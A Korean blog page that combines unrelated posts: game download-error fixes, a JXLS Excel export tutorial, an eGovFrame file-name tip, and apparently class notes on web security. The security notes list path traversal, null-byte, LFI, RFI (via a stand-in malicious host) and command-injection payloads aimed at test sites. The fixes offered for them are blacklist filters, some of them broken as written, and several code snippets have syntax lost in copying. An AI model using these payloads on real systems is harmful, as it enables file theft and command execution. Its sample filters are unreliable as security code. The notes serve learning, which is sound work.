[테라M] 다운로드 에러코드 -10 해결 방법


모바일게임 초창기엔 


어딜가나 에러가 있기 마련이죠



저도 개발자이기 때문에


그리고 머드게임을 개발하고 운영하고 있는 사람이기에


어쩔수 없다는걸 알고 있습니다.


그리고 해결방법도 항상 존재하지요



이번엔 녹스같은 앱플레이어를 사용할때 나타나는


다운로드중 발생하는 에러코드 -10에 대한 해결 방법에 대해 알아보겠습니다.





지금은 해결되고 업데이트가 되었는진 모르지만


녹스에서 발생하는 다운로드 에러 사항에 대한 해결 방법으론



전통적으로 인터넷이 연결되는 경로를 바꾸는 것입니다.


방법은


.



1. 만약 와이파이로 연결주이었다면 직접 LAN선을 꽂아서 사용하기


2. 랜선연결이라면 와이파이로 잡아놓고 다운받기


3. 1.2 둘다 안된다면 핸드폰 핫스팟을 켜고 다운 받아보기


4. 1,2,3 전부 안된다면 외부 인터넷 ( 마트 공용 와이파이라던가... 다른 장소)을 사용하여 다운 받아보기


5. 랜선을 다 뽑고 공유기와 모뎀전원을 껏다가 킨 후 다운 받아보기




위의 5가지 방법중에 하나론 해결이 됩니다.


개인적인 견해론 다운로드중 방화벽에 막히거나


패킷오류가 났다거나 혹은


서버에서 데이터를 다운 받는중에 인증문제가 발생했다거나 인것 같은데


워낙 다양한 경로에서 에러가 날 수 있어서 정확하겐 모르겠네요


만약 에러코드 -10이 나타났다면 위의 방법을 이용해 해결할 수 있으면 좋겟습니다.





- 아룬서버 <무서운언니들> 길드에서 혈원 모집 하는 중입니다. 길드원끼리 다양한 정보를 공유 할 수 있어요~

가입요청 부탁 드립니다!

[JXLS] JAVA SPRING 데이터 엑셀출력 및 셀병합, merge 하는 방법







웹프로젝트를 개발하다보면


테이블이나 어떤 데이터들을 엑셀로 다운받는 기능을 만들어야 하는 경우가 있다.



일단 엑셀로 만드는게 POI만 쓰면 진짜 더럽게 귀찮아진다.


그렇다고 제이쿼리 excel export를 쓰자니


페이징처리된 테이블의 데이터들을 뽑기가 애매하고


1만로우쯤 되었을때 그걸 다 테이블에 append 시키기도 오바같다



그래서 찾다찾다 찾아낸것이


JXLS


일단 jxls는 poi 기반으로 만들어졌다.


사용법은


정말 간단하다.


그냥 마이바티스에서 db데이터 뽑아서


페이지로 날려주는 그 모델


해쉬맵데이터 형식으로뽑은걸 그대로 사용하면 된다


엑셀에 위치 지정이나 반복되는것은 


미리 엑셀 템플릿을 만들어 놓으면


그대로 들어간다.



일단 셋팅 방법부터 알아보도록 하자.


전자정부 기준이로 설명 한다.




1. pom.xml  


pom.xml의 dependency 부분에 아래 코드를 넣어 주도록 하자.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!-- 엑셀 다운로드 -->
        
        <dependency>
              <groupId>net.sf.jxls</groupId>
               <artifactId>jxls-core</artifactId>
             <version>1.0.6</version>
        </dependency>
       <dependency>
            <groupId>org.jxls</groupId>
            <artifactId>jxls-poi</artifactId>
            <version>1.0.13</version>
        </dependency>
        <dependency>
            <groupId>org.jxls</groupId>
            <artifactId>jxls</artifactId>
            <version>2.4.2</version>
        </dependency>
        <dependency>
            <groupId>org.apache.poi</groupId>
            <artifactId>poi</artifactId>
            <version>3.14</version>
        </dependency>
        <dependency>
            <groupId>org.apache.poi</groupId>
            <artifactId>poi-ooxml</artifactId>
            <version>3.14</version>
        </dependency>
        <dependency>
            <groupId>org.jxls</groupId>
            <artifactId>jxls-jexcel</artifactId>
            <version>1.0.6</version>
        </dependency>
cs




위에서 말했듯 jxls는 poi를 사용하기 때문에 poi도 받아주어야 한다.





2. 엑셀만들고 다운로드 받는 클래스


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package 패키지 경로;
 
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Map;
 
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
 
import net.sf.jxls.exception.ParsePropertyException;
import net.sf.jxls.transformer.XLSTransformer;
 
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Workbook;
 
// MakeExcel이라는 클래스를 만들고 그 안에 downliad라는 메소드를 생성한다.
public class MakeExcel {
    public void download(HttpServletRequest request, HttpServletResponse response,
                    Map<String, Object> bean, String fileName, String templateFile, String string)
                    throws ParsePropertyException, InvalidFormatException {
 
        // 받아오는 매개변수 bean는 디비에서 뽑아온 데이터
        // fileName 은 다운로드 받을때 지정되는 파일명
        // templateFile 는 템플릿 엑셀 파일명이다.
        
        // tempPath는 템플릿 엑셀파일이 들어가는 경로를 넣어 준다.
        String tempPath = request.getSession().getServletContext().getRealPath("/WEB-INF/excel");
        
 
        // 별도로 다운로드 만들기 귀찮으까 이런식으로 만들어서 바로 엑셀 생성후 다운 받게 
        try {
 
            InputStream is = new BufferedInputStream(new FileInputStream(tempPath + "\\" + templateFile));
            XLSTransformer xls = new XLSTransformer();
            
            
            Workbook workbook = xls.transformXLS(is, bean);
            
            
            response.setHeader("Content-Disposition""attachment; filename=\"" + fileName + ".xlsx\"");
            
            OutputStream os = response.getOutputStream();
            
            workbook.write(os);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
cs



3. 엑셀 다운로드 요청 및 데이터가져오는 메소드



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 @RequestMapping(value = "/downExcel.do")
        public void listExcel(HttpServletRequest request,
                HttpServletResponse response, VO vo,
                ModelMap modelMap) throws Exception, Exception {
 
            
            // 그냥 평소에 마이바티스에서 데이터 뽑는 방법으로 데이터를 가져온다.
            List<VO> dataList = trs01Service.selectGroupList(groupVO);
            
            
            // 받은 데이터를 맵에 담는다.
            Map<String, Object> beans = new HashMap<String, Object>();
            beans.put("dataList", dataList);
            
            // 엑셀 다운로드 메소드가 담겨 있는 객체
            MakeExcel me = new MakeExcel();
 
            me.download(request, response, beans, "다운받을때지정될 엑셀파일명""엑셀템플릿 파일 명.xlsx""무시해도됨");
        }
cs





이렇게 하면 자바에서 할 건 끝났다.



막 예전에 POI에서 셀위치 지정하고 했던것들은 하지 않아도 된다!!



저 템플릿위치에 아래 4번에서 만든 템플릿 엑셀파일을 넣어놓고


3번에서 만든 메소드를 호출하면 해당 데이터를 담은 엑셀을 다운로드 받게 된다.


정말 너무너무 간단하다.




4. 템플릿 엑셀 예제





위 그림과 같이 JSTL 쓰던것 처럼 적어주면 된다.


저렇게 적으면 콜렉션일 경우 자동으로 반복까지 해준다.


그냥 저렇게만 만들어 두면 저 위치부터 아래로 쭉쭉 엑셀데이터가 입력 되는 것이다.



엄청나다.





5. 셀병합, merge






이런식으로 셀병합을 하고 이름옆에 3줄로 다른 정보를 반복시켜야 하는 경우가 있다.



그냥 4번에 있는식으로 템플릿만들어서 적으면 에러난다.


java.lang.NullPointerException

at net.sf.jxls.util.Util.shiftColumnUp(Util.java:335) ~[jxls-core-1.0.6.jar:?]

at net.sf.jxls.util.Util.shiftUncoupledCellsUp(Util.java:315) ~[jxls-core-1.0.6.jar:?]

at net.sf.jxls.util.Util.duplicateRow(Util.java:246) ~[jxls-core-1.0.6.jar:?]

at net.sf.jxls.controller.SheetTransformationControllerImpl.duplicateRow(SheetTransformationControllerImpl.java:140) ~[jxls-core-1.0.6.jar:?]

at net.sf.jxls.transformer.CollectionRowTransformer.processRowCollections(CollectionRowTransformer.java:106) ~[jxls-core-1.0.6.jar:?]

at net.sf.jxls.transformer.CollectionRowTransformer.transform(CollectionRowTransformer.java:66) ~[jxls-core-1.0.6.jar:?]



이런 에러가 막 뿜어져 나올 것이다.


왜 에러가 나느냐..


템플릿을 잘못 만들었기 때문이다.


이걸 보는 여러분들도 템플릿으로 이것저것 에러뿜어가면서 테스트 하다보면


알수 있을 이유이다


그냥 해결방법만 간단하게 말하면





이런식으로 셀병합한 위치에 들어가는 데이터 옆에 //:숫자  를 넣어 주면 된다.


만약 데이터가 3칸을 병합해서 세줄단위로 넘어가야 하는 경우


0 , 1, 2  로 세서 숫자 2를 넣어주면 된다.



머지를 하지 않더라도


2줄단위로 반복하거나 3줄단위로 반복하게 하는 경우에도 동일하게 적용하면 된다.



JXLS의 가장 좋은 장점은 데이터 넣는곳 템플릿에 스타일 넣어주면 그 스타일도 같이 반복이 된다.


아주 훌륭하다


[웹보안] 웹보안 3일차 - 오후



졸리다 졸리다 졸리다아아아





1. 다운로드 취약점


다운로드 취약점 테스트


http://php.testsparker.com



1) 경로(path traversal)


다운로드 요청 url에 상대 경로가 들어가는 경우 ../../ 을 이용하여 다른 파일을 다운받는다


host/../../../../../../



../../../../../../windows/system32/drivers/etc/hosts





http://php.testsparker.com/process.php?file=Generics/index.nsp 

이렇게 생겨먹은걸

http://php.testsparker.com/process.php?file=../../../../../../windows/system32/drivers/etc/hosts





2) 널바이트 인젝션


%00 혹은 0x00을 사용해 특정 확장자를 숨기기 위한 목적으로 사용되거나


뭐 또 나쁜짓 하겠지


졸려서 뭔말인지도 잘 못알아 듣겠슴....



예)


http://php.testsparker.com/process.php?file=../../../../../../../windows/system32/drivers/etc/hosts%00.nsp



이렇게 하면 시스템 정보를 가져 올 수 있다



위에 보면 호스트 정보가 표출 된다.


../를 이용해 상대경로로 해당 시스템정보가 있는 경로를 찾아가고


%00.nsp 를 이용해 해당 정보를 받아온다


%00.nsp를 넣는 이유는


burp로 해당 사이트를 따보니 파일 다운로드 확장자는 nsp라는걸 확인 했고


%00 이 널바이트를 이용해 hosts까지만 읽고 뒤쪽은 잘라내 버리도록 한다


.nsp는 잘리기 전에 해당 확장자면 파일 다운로드가 이루어 질 것 이라는걸 예측후 넣은 것


뭔말인지 모르겠지만 나도 모르겠다 개어렵네 




해결 방법


1
2
data = data.replaceAll("\"""");
data = data.replaceAll(".""");
cs


이런식으로 받아온 파일명의 텍스트를 필터 하는 방법으로 해결 한다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 
public class XpathFilter {
 static String Xpath(String data) {
    // TODO Auto-generated method stub
     data = data.replaceAll("\"""");
     data = data.replaceAll("'""");
     data = data.replaceAll("(""");
     return data;
}
 
 static String crlf(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("\r""");
         data = data.replaceAll("\n""");
         return data;
    }
 
 static String download(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("./""");
         data = data.replaceAll("../""");
         data = data.replaceAll("..\\""");
         data = data.replaceAll("\\\\""");
         return data;
    }
 
}
cs



 이런식으로 필터 클래스 만들어서 계속 가져다 쓰면 편함






LFI(local file inclusion)


file?param=../../../etc/[asswd



RFI(Remote file inclusion)


file?param=http://www.malicious.com/a.txt





2. 파라미터 변조


명령어를... 그.. 뭐지... 그...


그냥.. 파라미터에 명령어 넣지 말고 인자값으로 이프문 써서 실행 되도록 수정 하면 안전하겠지..


1
2
3
4
5
6
7
8
9
10
11
12
String results;
String fileData = null;
helpFile = helpFile.replaceAll("\\.help""\\.html");
 
if (osName.indexOf("Windows"!= -1)
{
        // Add quotes around the filename to avoid having special characters in DOS
        // filenames
        results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
        fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
 
}
cs



이런코드 같은데 저런거 그냥 앵간하면 쓰지 말자.

어지간한 프로젝트에선 쓸일도 없을거임.



" & netstat -rn


-> url 


%22+%26+netstat+-rn







webgoat에서 명령어 날리는 프록시 가로채서 


%22+%26+netstat+-rn


이거 넣어 주면 해당서버에서 저 명령어가 " & netstat -rn 이걸로 바뀐다음 실행된다.



해결방법


1
2
3
4
5
6
7
8
static String commandIn(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("&""");
         data = data.replaceAll("%26""");
         data = data.replaceAll("%22""");
         data = data.replaceAll("\"""");
         return data;
    }
cs



이런 필터 만들어서 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                String results;
                String fileData = null;
                helpFile = helpFile.replaceAll("\\.help""\\.html");
                
                // 필터링 발동!
                helpFile = XpathFilter.commandIn(helpFile);
                        
                if (osName.indexOf("Windows"!= -1)
                {
                    // Add quotes around the filename to avoid having special characters in DOS
                    // filenames
                    results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
                    fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
 
                }
cs


7번 라인 처럼 이렇게 필터링 해주자





-이전 포스팅 -


2017/06/03 - [Yame Programmer/웹보안] - [웹보안] 웹보안 3일차 - 오전

2017/05/27 - [Yame Programmer/웹보안] - [웹보안] 웹보안 2일차 - 오후

2017/05/27 - [Yame Programmer/웹보안] - [웹보안] 웹보안 2일차 - 오전

2017/05/20 - [Yame Programmer/웹보안] - [웹보안] 웹보안 1일차 - 오후

2017/05/20 - [Yame Programmer/웹보안] - [웹보안] 웹보안 1일차 - 오전




포켓몬 GO 설치 오류 (400)해결 방법



서비스가 시작했다는 소식에 바로 플레이스토어에 들어가 설치를 하려는데


설치 오류 400 이라는 메세지가 떴다


그래서 플레이 스토어 해결문의에 들어가 확인해보니 


설치 오류 해결 방법에 대해서 써있었다.




1. 비행기 모드

1) 모든 어플리케이션을 종료 하고 비행기모드를 실행한다.

2) 그상태로 10~20초간 대기

3) 비행기모드를 해제하고 다시 다운로드 시작.



2. 와이파이 종료

1) 와이파이를 끄고 일반 데이터 사용으로 다운로드


3. 저장공간 확인

1) 저장공간이 충분한지 확인후 다운로드


4. 플레이스토어 강제종료

1) 설정 -> 어플리케이션 -> 플레이스토어 에 들어간다

2) 강제중지 버튼을 눌러 강제중지 시킨다

3) 설정 -> 시스템 -> 저장소에 들어간다

4) 모든 캐쉬 삭제후 다운로드


5. 핸드폰 재시작

1) 핸드폰 재시작후 다운로드




나는 1~4번까지 다 안되다가 핸드폰 재시작후 다운로드 받을 수 있게 되었다.


회사에서 실행해보니 지도가 나타난다!! 더이상 속초 허허벌판 같은게 아니라 다행 ㅋㅋ 근데 회사 주변이 허허벌판이네 ㅋㅋㅋ 여기 그래도 강남인데... 역삼이랑 언주역 사이라서 그런가...

너무 없다 ㅠ_ㅠ 



설치 다운로드 에러나 오류로 받지 못하는 사람들에게 도움이 되었으면 좋겠네요


2017/01/24 - [Yame Game Life/Poketmon Go] - [포켓몬고] GPS 오류 에러 해결 방법 gps signal not found , gps failed to detect location

2017/01/24 - [Yame Game Life/Poketmon Go] - [포켓몬고] 개체값 바로 알수 있는 방법 , 어플 포닥

2017/01/24 - [Yame Game Life/Poketmon Go] - [포켓몬 고] 설치 오류 400 해결 방법



파일을 업로드 하고 다운로드 받는 과정에서 저장소에 동일한 파일이름을 가진 파일을 업데이트 하게 되면 저장되는 파일의

이름을 바꾸어 주어야 한다.


동일한 이름이 있을때마다 파일명 뒤에 카운트숫자를 달아 주는 방법을 사용한다거나 

UUID 같은 것을 파일명으로 바꾸고 저장한다거나 날짜순으로 저장하는등의 여러가지 방법들이 있다.


그렇다면 다운 받을때는 파일명이 uuid나 일반 사용자가 알아보기 힘든 파일명을 사용하면 안되기 때문에


다운로드 받을때는 다시 원래 파일명으로 다운 받도록 해주어야 한다.


그렇기 위해서는 파일업로드와 함께 DB에 해당 파일의 이름이나 이름이 포함된 경로를 넣으며 실제저장되는 변경된 파일이름과 원본파일의 이름 두가지를 넣어 주어야 한다.


문제는 여기서 발생한다. 흔히 나와있는 파일 업/다운로드 로직이나 전자정부 프레임워크를 사용하다보면 파일을 다운받을때 실제 저장된 파일이름만 가져와서 다운로드 받는 로직으로 짜여져 있고 단순히 복사해서 붙여넣기를 하는 방법으로 사용하니 다운받을때 디비에서 이름두가지를 가지고 오고 나서 이후에 어떻게 해야 할지 모르는 경우가 생긴다.


대표적으로 컨트롤러에서 


 return new ModelAndView("download", "downloadFile", file); 


이렇게 리턴값을 modelAndView로 사용하는 방법에서 실제저장된 파일명을 바꿔서 사용하는 방법을 알아보자.




일단 리턴되는  ModelAndView("download", "downloadFile", file) 여기서 


'download'는 dispatcher-servlet.xml 에서 지정되는 값으로. 디스패쳐 파일을 열고나서 download을 검색해 보면



<bean id="download" class="egovframework.XXXXXXXX.XXXXXXX.XXXXXXXX.DownloadView" />


와 같은 형식으로 쓰여 있을 것이다. 'download'라는 요청을 받으면 해당 클래스를 실행하겠다는 중간의 XXX표는 패키지 경로이다.


DownloadView 클래스를 열어 보면 



File file = (File) model.get("downloadFile"); <- 이런식으로 modelAndView의 두번째 인자를 불러오며 결과는 downloadFile뒤에 쓰여진 file이 된다.



아래로 좀 내려보면 


fileName = URLEncoder.encode(file.getName(),"UTF-8").replaceAll("\\+", "%20");


이런식으로 해당 파일의 이름을 꺼내서 


 response.setHeader("Content-Disposition", "attachment;filename=" + fileName + ";");


이렇게 파일이름을 셋팅을 하는데


여기서 셋팅되는 fileName만 원래 파일이름으로 바꿔주면 되는 것이다.




이제부터 어떻게 해야 하는지 방법을 알아보자



우선 다운로드 URL이 어노테이션 되어 있는 컨트롤러에서 


리턴되는 값을 return new ModelAndView("download", "downloadFile", file); 가 있는 컨트롤러를




fileName = new String(fileName.getBytes("iso-8859-1"), "UTF-8"); // 파일이름 깨지니까 인코딩

    realName = new String(realName.getBytes("iso-8859-1"), "UTF-8");

//propertiesService.getString("Globals.FmsFilePath")는 미리 지정해놓은 경로니까 그냥 파일경로라고 생각하면 됨

    String fullPath = propertiesService.getString("Globals.FmsFilePath") + "\\경로\\" + fileName;

    

   File file = new File(fullPath); // 실제 파일 경로를 지정해 생성한 파일

   File file2 = new File(realName); // 바꿀 파일이름만 넣어놓은 파일  realName은 String값이다.


   ModelAndView mav = new ModelAndView();

   mav.setViewName("download");

   mav.addObject("downloadFile", file); // 실제 저장된 파일

   mav.addObject("realFileName", file2); //db에 저장해 놓은 원래 파일이름

   

   if(!file.exists()){

    return null;

   }

    //    return new ModelAndView("download", "downloadFile", file);

   return mav;



이렇게 바꾸어 주도록 하자.


즉 ModelAndView에 두개의 오브젝트를 넣어서 넘기는 것이다.



그리고 다시 DownloadView 로 가서 


 fileName = URLEncoder.encode(file.getName(),"UTF-8").replaceAll("\\+", "%20");

  response.setHeader("Content-Disposition", "attachment;filename=" + fileName + ";");


위의 코드를 아래와 같이 바꿔주도록 하자.


   File file2 = (File) model.get("realFileName");

String fileName="test";

try{

fileName = URLEncoder.encode(file2.getName(),"UTF-8").replaceAll("\\+", "%20");

}

catch(Exception e){

 fileName = URLEncoder.encode(file.getName(),"UTF-8").replaceAll("\\+", "%20");

}

 response.setHeader("Content-Disposition", "attachment;filename=" + fileName + ";");




이렇게 하면 끝! 완성! 해결!





+ Recent posts